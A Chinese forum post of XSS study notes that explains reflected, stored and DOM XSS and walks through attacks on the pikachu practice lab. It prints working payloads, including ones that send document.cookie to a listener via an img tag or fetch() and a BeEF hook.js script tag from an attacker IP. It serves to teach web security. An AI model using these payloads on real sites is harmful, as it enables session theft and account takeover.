首页
社区
课程
招聘
[分享]XSS漏洞学习笔记
发表于: 2025-3-18 14:28 333

[分享]XSS漏洞学习笔记

2025-3-18 14:28
333

原理

        xss漏洞全称为跨站脚本漏洞攻击对象是客户端,原理是hacker会向网站插入一些恶意JavaScript代码(从留言板,url等位置插入后嵌入在网页),如果没有对用户提交的数据过滤等防范,服务器会以为这就是网页本身的代码,导致这些恶意代码会返回客户端执行从而导致客户端被攻击

xss和浏览器同源策略的关系

        同源策略:

                限制不同源的脚本对资源的跨域访问

                同源:协议、域名、端口三者一致

                        https://a.com:8080/page1 和 https://a.com:8080/page2

                        两者协议都为https,域名都为a.com,端口都为8080,所以同源

                不同源:

                        https://a.com/page1 和 http://a.com/page2

                        以上两者协议不同不同源

                        https://a.com/page1 和 https://asd.a.com/page2

                        以上两者域名不同所以不同源

                        https://a.com/page1 和 https://a.com:8080/page2

                        以上两者端口号不同(443与8080)不同源

        xss漏洞利用是嵌入在网站本身中的,因此都是在同一个网站内进行窃取数据等操作,所以此时不受同源策略限制,可以获得本网站也就是a网站的数据

        如果a网站仅有xss漏洞的话,由于同源策略的限制,xss无法从a网站获取b网站的数据,除非还有别的漏洞加以配合

        总而言之xss漏洞因为同源策略只能攻击当前网站而无法攻击别的网站

xss漏洞类型

        反射性xss

                攻击是一次性的,也就是服务器没有把恶意代码传入数据库存储起来,恶意脚本通过url或提交表单直接反射在页面中,用户点击提交或访问构造的url时触发

        存储型xss

                攻击是永久性的,网站获取到恶意代码后将其存入数据库或是文件系统,在用户再次访问这个网站时,这个恶意脚本也会被当做js代码应用于网站,从而被执行

        DOM型xss

                DOM:DOM 将 HTML 文档表示为一个树形结构,每个 HTML 标签(如<div>、<p>)都是一个节点,节点之间通过父子关系或是兄弟关系连接

                HTML DOM 定义了访问和操作 HTML 文档的标准方法。

                DOM 以树型结构表达 HTML 文档

                HTML DOM树型结构

        攻击是一次性的 hacker可以通过构造url改变页面的dom结构,比如

https://a.com/#<script>alert(1)</script>,如果页面中存在动态修改dom的代码,就可以将<script>alert(1)</script>嵌入到页面中

        https://a.com/#test该url的意思是访问a网站页面中id=test的内容,这个id不是get请求的参数,而是网站元素的id

        比如

         当你访问这个 https://a.com/#appMain时就会跳转到id=appMain块对应的内容

        页面中存在动态修改dom的代码是什么意思呢?

                比如

<script>
  var hash = window.location.hash.substring(1);  document.getElementById("content").innerHTML = hash;</script>

图片错误

        这样就可以将id=content的元素内容改变为我们传入的url里“#”号后的内容,从而实现嵌入

三种类型的区别

特性 反射型 XSS 存储型 XSS DOM 型 XSS
存储位置 不存储,通过 URL 或表单反射 存储在服务器(如数据库) 不存储,完全在客户端完成
触发方式 用户点击恶意链接或提交表单 用户访问受影响的页面 用户点击恶意链接
影响范围 单个用户 所有访问页面的用户 单个用户
检测难度 较易检测(通过服务器日志) 较易检测(通过服务器存储内容) 较难检测(完全在客户端完成)
防御重点 输入过滤、输出编码 输入过滤、输出编码 避免动态操作 DOM 时引入未过滤内容

实战

pikachu靶场-反射型xss(get)

        发现输入框,且输入的数据会被嵌入页面元素

图片错误 

尝试xss漏洞,发现输入框有长度限制,改大一点就好

输入<script>alert(666)</script>,发现弹窗,证明存在xss漏洞

尝试获取登录用户cookie

将上一个payload里的666改成document.cookie即可实现

图片错误

或者使用document.write

获取当前时间

图片错误

修改网站标题

图片错误

pikachu靶场-反射型xss(post)

提示用户名密码为admin/123456

登录后发现和上一个get反射xss页面一样

图片错误

但是发现我们输入的内容是通过post请求输入

输入<script>alert(666)</script>还是能成功跳出弹窗

图片错误

 输入<script>document.write(document.cookie)</script>获取cookie

使用带外方式获取cookie

使用payload

<script>document.write('<img src="http://127.0.0.1:1122/'+document.cookie+'"/>')</script>

图片错误

访问图片后即可将cookie信息发送到我的服务器

图片错误

或是使用payload

<script>fetch("http://127.0.0.1:1122/"+document.cookie)</script>

在运行后也可以获得cookie

xss-beef使用

        在kali里打开beef-xss

随后跳转到beef的web界面

登陆后界面:

这时我们要使用beef时就可以利用它提供的payload

输入payload<script src="http://192.168.8.139:3000/hook.js"></script>(192.168.8.139是攻击机所在的ip)并运行,可以看到靶机上线了

于是可以进行漏洞利用

获取cookie


网页重定向

选择redirect browser模块

图片错误编辑

改变重定向url并运行

返回靶场时发现变成


或是使用link write模块改变网站中链接的目标地址

查看页面元素发现链接地址已被修改

点击退出登录后

beef还有很多利用方式,就不一一做笔记了



[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2025-3-18 14:33 被VermiliEiz编辑 ,原因:
收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册